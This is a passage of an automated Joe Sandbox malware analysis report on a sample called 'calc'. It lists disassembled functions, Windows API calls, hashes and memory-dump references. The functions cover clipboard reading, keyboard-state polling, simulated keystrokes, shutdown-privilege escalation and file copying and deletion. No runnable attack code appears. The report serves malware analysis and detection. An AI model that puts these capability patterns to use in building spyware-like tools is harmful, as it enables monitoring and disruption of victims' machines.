    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AttributesFile
    • String ID:
    • API String ID: 3188754299-0
    • Opcode ID: c703b52854d76aa319161c5b99ab3c341fa8d321b596a499fcd6fceaba77e700
    • Instruction ID: a7fd8ca27bb0810053334d820270db7b5587be9ae11b805182a5f761d4f63fd8
    • Opcode Fuzzy Hash: c703b52854d76aa319161c5b99ab3c341fa8d321b596a499fcd6fceaba77e700
    • Instruction Fuzzy Hash: 2AC09B34000F105DDE640E385A4D0DA375179C27A5FD41791D479451F2D3394C57F605
    Function 0043138D Relevance: 1.3, APIs: 1, Instructions: 24COMMON
    Download Yara Rule
    APIs
    • CoUninitialize.COMBASE(0045C6D0,00000000,?,0041F99E), ref: 004313CD
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Uninitialize
    • String ID:
    • API String ID: 3861434553-0
    • Opcode ID: c0d1d7e33a4943827e01e4cfbbef932bc404c85381f4d3483751c997e5f8ecfc
    • Instruction ID: df3736b00b7e0be589f0f43ae73a18a9a167cadeb1283b1792a52ecf7f174830
    • Opcode Fuzzy Hash: c0d1d7e33a4943827e01e4cfbbef932bc404c85381f4d3483751c997e5f8ecfc
    • Instruction Fuzzy Hash: 3CE02B71281341DFD720AB709C544673B5ADB88305F185DBFD84687623EEB51886C71D
    Function 00413E1F Relevance: 1.3, APIs: 1, Instructions: 20COMMON
    Download Yara Rule
    APIs
    • CloseHandle.KERNEL32(?,00000000,00413C39,0045C6D0,0040FFF4,0045C6D0,?,?,004105B4,00000000,0047BD30,00000000,0045C6D0,00000000,00000000,0045C6D0), ref: 00413E2F
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CloseHandle
    • String ID:
    • API String ID: 2962429428-0
    • Opcode ID: 9bfc3fda799452cefd9afc6750f5b897df70f21d9868be3a5e5485ce3cadb6bc
    • Instruction ID: 8d68155d35ff6e49382bc72b4325340e3a7c1b0e2115fedd8b061b5066a75610
    • Opcode Fuzzy Hash: 9bfc3fda799452cefd9afc6750f5b897df70f21d9868be3a5e5485ce3cadb6bc
    • Instruction Fuzzy Hash: D0E092B2406B81DF87209F9A95C0447FBE4BA0871A360883FE0DE82A01C378A4858E1A

    Non-executed Functions

    Function 004045EC Relevance: 127.5, APIs: 68, Strings: 4, Instructions: 1483windowfileCOMMON
    Download Yara Rule
    APIs
    • GetClientRect.USER32(?,?), ref: 00404726
    • GetCursorPos.USER32(?), ref: 00404730
    • ScreenToClient.USER32(?,?), ref: 00404749
    • WindowFromPoint.USER32(?,?), ref: 00404788
    • SetCapture.USER32(?,?,?,?), ref: 004050AE
    • CharUpperBuffW.USER32(?,?,@GUI_DRAGID,?,?,?,?), ref: 004050E5
    • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00405135
    • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 0040515F
    • GetMenuItemInfoW.USER32(?,?,00000000,0000002C), ref: 0040523D
    • GetMenuItemCount.USER32(?), ref: 00405256
    • GetMenuItemID.USER32(?,00000000), ref: 00405265
    • GetMenuItemInfoW.USER32(?,-00000001,00000001,0000002C), ref: 0040528E
    • GetMenuItemInfoW.USER32(?,?,00000001,0000002C), ref: 004052B4
    • CheckMenuRadioItem.USER32(?,?,?,?,00000400), ref: 004052D4
    • FreeLibrary.KERNEL32(?,?,?,?), ref: 00405521
    • DragQueryPoint.SHELL32(?,?), ref: 00405533
    • SendMessageW.USER32(?,000000B0,?,?), ref: 0040558D
    • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00405596
    • DragQueryFileW.SHELL32(?,?,?,00000104), ref: 004055BD
    • SendMessageW.USER32(?,000000C2,00000001,?), ref: 00405600
    • SendMessageW.USER32(?,000000B0,?,?), ref: 00405610
    • SendMessageW.USER32(?,000000B1,?,?), ref: 0040561A
    • SendMessageW.USER32(?,000000B1,?,?), ref: 0040562F
    • DragFinish.SHELL32(?,?,?,?), ref: 00405634
    • CharUpperBuffW.USER32(?,?,@GUI_DROPID,00000000,?,?,?,?), ref: 00405676
    • CharUpperBuffW.USER32(?,?,@GUI_DRAGID,000000FF,0047BD20,?,?,?,?,?), ref: 004056B3
    • CharUpperBuffW.USER32(?,?,@GUI_DRAGFILE,?,0047BD20,?,?,?,?,?), ref: 004056F0
    • ReleaseCapture.USER32 ref: 00405771
    • SetWindowTextW.USER32(?,00000000), ref: 004057FD
    • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0040580D
    • CharUpperBuffW.USER32(?,?,@GUI_DROPID,?), ref: 00405846
    • CharUpperBuffW.USER32(?,?,@GUI_DRAGFILE,?,0047BD20,?,?), ref: 0040588A
    • ClientToScreen.USER32(?,?), ref: 00405110
      • Part of subcall function 004183F6: VariantClear.OLEAUT32(?), ref: 00418410
      • Part of subcall function 0040D33A: SendMessageW.USER32(?,00000136,?,?), ref: 0040D3BF
      • Part of subcall function 0040D33A: GetSysColorBrush.USER32(00000005), ref: 0040D3D0
      • Part of subcall function 0040D33A: GetClientRect.USER32(?,?), ref: 0040D3E0
      • Part of subcall function 0040D33A: SetViewportOrgEx.GDI32(?,00000000,00000000,?), ref: 0040D3F3
      • Part of subcall function 0040D33A: FillRect.USER32(?,?,?), ref: 0040D3FD
      • Part of subcall function 0040D33A: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 0040D40B
    • ClientToScreen.USER32(?,?), ref: 004058F4
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Message$Send$BuffCharItemMenuUpper$Client$DragRect$InfoQueryScreen$CaptureFilePointViewportWindow$BrushCheckClearColorCountCursorFillFinishFreeFromInvalidateLibraryPostRadioReleaseTextVariant
    • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$Wu
    • API String ID: 3013014237-1657324845
    • Opcode ID: 81e1574966f57f205d7eb795094569a6c03c1e869b79b0831d0879e1c5b5466f
    • Instruction ID: a85160cf80a5b1f34019e14a663ad150d6ae3ef56b36cf0b8cda9c9ba50d982b
    • Opcode Fuzzy Hash: 81e1574966f57f205d7eb795094569a6c03c1e869b79b0831d0879e1c5b5466f
    • Instruction Fuzzy Hash: 38C27B71500649AFDF259F68CC84BEE3BA9EF04314F14012AFA11A72E2D779E851CF99
    Function 00412196 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 120keyboardthreadwindowCOMMON
    Download Yara Rule
    APIs
    • GetForegroundWindow.USER32(?,?,?,00000000,?,00000000), ref: 0041219B
    • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004121C0
    • IsIconic.USER32(?), ref: 004121C9
    • ShowWindow.USER32(?,00000009), ref: 004121D6
    • SetForegroundWindow.USER32(?), ref: 004121DD
    • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004121F4
    • GetCurrentThreadId.KERNEL32 ref: 004121FC
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 0041220D
    • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 0041221D
    • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00412223
    • AttachThreadInput.USER32(00000000,?,00000001), ref: 0041222C
    • SetForegroundWindow.USER32(?), ref: 00412232
    • MapVirtualKeyW.USER32(00000012,00000000), ref: 0041224B
    • keybd_event.USER32(00000012,00000000), ref: 00412256
    • MapVirtualKeyW.USER32(00000012,00000000), ref: 0041225E
    • keybd_event.USER32(00000012,00000000), ref: 00412263
    • MapVirtualKeyW.USER32(00000012,00000000), ref: 0041226A
    • keybd_event.USER32(00000012,00000000), ref: 0041226F
    • MapVirtualKeyW.USER32(00000012,00000000), ref: 00412277
    • keybd_event.USER32(00000012,00000000), ref: 0041227C
    • SetForegroundWindow.USER32(?), ref: 00412282
    • AttachThreadInput.USER32(00000000,?,00000000), ref: 0041229A
    • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 0041229F
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ThreadWindow$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
    • String ID: Shell_TrayWnd
    • API String ID: 2889586943-2988720461
    • Opcode ID: 27bde8f325f4ca65f9c45f11051872c97efc407ea39f8a14d5d8c1b3cfdf20f6
    • Instruction ID: cb7438905b74c3bcc21d4994487d953355f125afc937cec0d547d7a337ec13bb
    • Opcode Fuzzy Hash: 27bde8f325f4ca65f9c45f11051872c97efc407ea39f8a14d5d8c1b3cfdf20f6
    • Instruction Fuzzy Hash: 7131D47250030CBFE611AF62DD89E7F7EACDB89B95F020429F60492192D676DC20DA76
    Function 0042A322 Relevance: 31.7, APIs: 21, Instructions: 165clipboardfileCOMMON
    Download Yara Rule
    APIs
    • OpenClipboard.USER32(0045C6D0), ref: 0042A34E
    • IsClipboardFormatAvailable.USER32(0000000D), ref: 0042A35C
    • GetClipboardData.USER32(0000000D), ref: 0042A364
    • CloseClipboard.USER32 ref: 0042A370
      • Part of subcall function 0041684E: _strlen.LIBCMT ref: 0041685F
      • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416879
      • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416898
    • GlobalLock.KERNEL32(00000000), ref: 0042A37D
    • GlobalUnlock.KERNEL32(00000000), ref: 0042A38E
    • IsClipboardFormatAvailable.USER32(00000001), ref: 0042A39B
    • GetClipboardData.USER32(00000001), ref: 0042A3A3
    • GlobalLock.KERNEL32(00000000), ref: 0042A3B0
    • CloseClipboard.USER32 ref: 0042A3BA
    • IsClipboardFormatAvailable.USER32(0000000F), ref: 0042A3E5
    • GetClipboardData.USER32(0000000F), ref: 0042A3F1
    • CloseClipboard.USER32 ref: 0042A3FF
    • GlobalLock.KERNEL32(00000000), ref: 0042A40B
    • CloseClipboard.USER32 ref: 0042A415
    • DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 0042A437
    • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0042A455
    • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0042A48A
    • GlobalUnlock.KERNEL32(00000000), ref: 0042A4AA
    • CountClipboardFormats.USER32 ref: 0042A4BF
    • CloseClipboard.USER32 ref: 0042A4DA
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Clipboard$CloseGlobal$AvailableDataDragFileFormatLockQuery$ByteCharMultiUnlockWide$CountFormatsOpen_strlen
    • String ID:
    • API String ID: 2574986921-0
    • Opcode ID: e1dd125d9a88cc09583c45a5a8a274419ec46e367697b661965c693209983685
    • Instruction ID: 2cdc2f06eb618e585f5a6265f66a70c7a1ebf7fce3b87c4d366946daf1d9761b
    • Opcode Fuzzy Hash: e1dd125d9a88cc09583c45a5a8a274419ec46e367697b661965c693209983685
    • Instruction Fuzzy Hash: E351B335704225FBDB10BBB0AC49BEF3768AF04716F500167FD02E61D2DA78DE518A6A
    Function 00415C2E Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 64shutdownCOMMON
    Download Yara Rule
    APIs
    • GetCurrentProcess.KERNEL32(00000028,?), ref: 00415C47
    • OpenProcessToken.ADVAPI32(00000000), ref: 00415C4E
    • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00415C64
    • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00415C83
    • GetLastError.KERNEL32 ref: 00415C89
    • EnumWindows.USER32(00415CDD,00000000), ref: 00415CB0
    • ExitWindowsEx.USER32(?,00000000), ref: 00415CC2
    • SetSystemPowerState.KERNEL32(00000000,00000000), ref: 00415CD4
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ProcessTokenWindows$AdjustCurrentEnumErrorExitLastLookupOpenPowerPrivilegePrivilegesStateSystemValue
    • String ID: $ $@$SeShutdownPrivilege
    • API String ID: 3737638738-3163812486
    • Opcode ID: ea0fbbeac291180e333a6a094d9918e1e1657e0eb019d4086f517d0bf663a25b
    • Instruction ID: 49d841cba545c5e070391086715d3aefc5c408c91397dada84c5bad0ac2ab89b
    • Opcode Fuzzy Hash: ea0fbbeac291180e333a6a094d9918e1e1657e0eb019d4086f517d0bf663a25b
    • Instruction Fuzzy Hash: 9911C171501724FAEB209FA49D8CBEB7EAC9B45382F140462F806D1191E3688DC0C6ED
    Function 0043A442 Relevance: 20.5, Strings: 16, Instructions: 542COMMON
    Download Yara Rule
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID:
    • String ID: byte$char$double$dword$float$hwnd$int$int64$long$ptr$short$ubyte$udword$uint$uint64$ushort
    • API String ID: 0-2529698504
    • Opcode ID: 763c02a2de9db83eade9874e8fbb5dea73bf7cd8866592b9f5a17dbb08c6a031
    • Instruction ID: 408187dce4e3af08b5b89b5e17c97d7132e6516c7f25d87d376e3bda80f24d10
    • Opcode Fuzzy Hash: 763c02a2de9db83eade9874e8fbb5dea73bf7cd8866592b9f5a17dbb08c6a031
    • Instruction Fuzzy Hash: 9502C131D40614ABDB21EF6988417DFB7B1FF09314F1044AFE949BB241D7B89E858B8A
    Function 004527E8 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 212timeCOMMON
    Download Yara Rule
    APIs
    • __lock.LIBCMT ref: 004527FB
      • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
    • _strlen.LIBCMT ref: 0045286D
    • _strcat.LIBCMT ref: 0045288A
    • _strncpy.LIBCMT ref: 004528A3
      • Part of subcall function 00449C88: __lock.LIBCMT ref: 00449CA6
      • Part of subcall function 00449C88: RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
    • GetTimeZoneInformation.KERNEL32(004675A8,0045BBD8,00000018,00452DFD,0045BBE8,00000008,0044BA23,00000000,?,00436C4F,?,?,00000002,?,00000000), ref: 0045290C
    • WideCharToMultiByte.KERNEL32(00000000,00000000,004675AC,000000FF,0000003F,00000000,?,?,00436C4F,?,?,00000002,?,00000000), ref: 0045299A
    • WideCharToMultiByte.KERNEL32(00000000,00000000,00467600,000000FF,0000003F,00000000,?,?,00436C4F,?,?,00000002,?,00000000), ref: 004529CE
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ByteCharMultiWide__lock$CriticalEnterFreeHeapInformationSectionTimeZone_strcat_strlen_strncpy
    • String ID: 0\F$p\F
    • API String ID: 3757401926-1809889677
    • Opcode ID: 72b74fc6cbe86940d868aecab1892e8030400bf39c2cc0ec2a73adf041a27207
    • Instruction ID: d2ea11773b2d3be43936d7844425afaec6d5ad34900df3f8f7bdcc1512a1afa4
    • Opcode Fuzzy Hash: 72b74fc6cbe86940d868aecab1892e8030400bf39c2cc0ec2a73adf041a27207
    • Instruction Fuzzy Hash: E2711A71904B409ED7259F28EE41B567BE5A716325F64022FE880973A2E7F84C46CB1E
    Function 0041510D Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163filestringCOMMON
    Download Yara Rule
    APIs
      • Part of subcall function 00414E6E: GetFullPathNameW.KERNEL32(00000000,00000104,?,?,?,0047BD30,?,0040FF5E,?,?), ref: 00414E89
      • Part of subcall function 00414E55: GetFileAttributesW.KERNEL32(?,00414BDE,?), ref: 00414E59
    • FindFirstFileW.KERNEL32(?,?), ref: 004151D3
    • lstrcmpiW.KERNEL32(?,?), ref: 00415293
    • DeleteFileW.KERNEL32(?), ref: 004152A0
    • MoveFileW.KERNEL32(?,?), ref: 004152BC
    • FindNextFileW.KERNEL32(?,00000010), ref: 004152D0
    • CopyFileW.KERNEL32(?,?,00000000), ref: 004152F0
    • DeleteFileW.KERNEL32(?), ref: 004152FD
    • CopyFileW.KERNEL32(?,?,00000000), ref: 0041530B
    • FindClose.KERNEL32(?), ref: 00415319
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: File$Find$CopyDelete$AttributesCloseFirstFullMoveNameNextPathlstrcmpi
    • String ID: \*.*
    • API String ID: 2474323978-1173974218
    • Opcode ID: a36343021f41aea084e20f4c81863218fcec1d7b3d7105e9ed11fc8940d8710d
    • Instruction ID: aacaddc1c19b48135d35dab2b4c22e42f007f3cfacbae92258d2fd995ae47f3c
    • Opcode Fuzzy Hash: a36343021f41aea084e20f4c81863218fcec1d7b3d7105e9ed11fc8940d8710d
    • Instruction Fuzzy Hash: F1512CB290066DEADF21EAA1CC48FCF77BCAF45354F0041D7E509E2141EA799AC8CB65
    Function 00424856 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 112fileCOMMON
    Download Yara Rule
    APIs
    • GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00424874
    • CreateDirectoryW.KERNEL32(?,00000000,?,?,?,00000000), ref: 004248E8
    • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000,?,?,?,?,00000000), ref: 0042490E
    • RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0042491E
    • DeviceIoControl.KERNEL32(00000000,000900A4,A0000003,?,00000000,00000000,?,00000000), ref: 004249AB
    • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004249B6
    • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004249C1
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove
    • String ID: :$\$\??\%s
    • API String ID: 3827137101-3457252023
    • Opcode ID: 1a5f9b6b0c894afbbac53d9d1e736d6b9851742d6e586ddccf845ee95b96f506
    • Instruction ID: 490b265d1c1b8bc703676836a20bc5cd6847e60d43ef2fc6bf4678178061e1e6
    • Opcode Fuzzy Hash: 1a5f9b6b0c894afbbac53d9d1e736d6b9851742d6e586ddccf845ee95b96f506
    • Instruction Fuzzy Hash: 0941A6B650022CAADB10AF64DC49EDB37BCEF48314F5041A6F919D2152DB34DF849BA9
    Function 0041111C Relevance: 16.6, APIs: 11, Instructions: 111keyboardCOMMON
    Download Yara Rule
    APIs
    • GetKeyboardState.USER32(?), ref: 00411140
    • GetAsyncKeyState.USER32(00000011), ref: 004111D3
    • GetKeyState.USER32(00000011), ref: 004111E7
    • GetAsyncKeyState.USER32(00000012), ref: 00411201
    • GetKeyState.USER32(00000012), ref: 0041120A
    • GetAsyncKeyState.USER32(000000A0), ref: 00411225
    • GetKeyState.USER32(000000A0), ref: 0041122D
    • GetAsyncKeyState.USER32(000000A1), ref: 0041124F
    • GetKeyState.USER32(000000A1), ref: 00411257
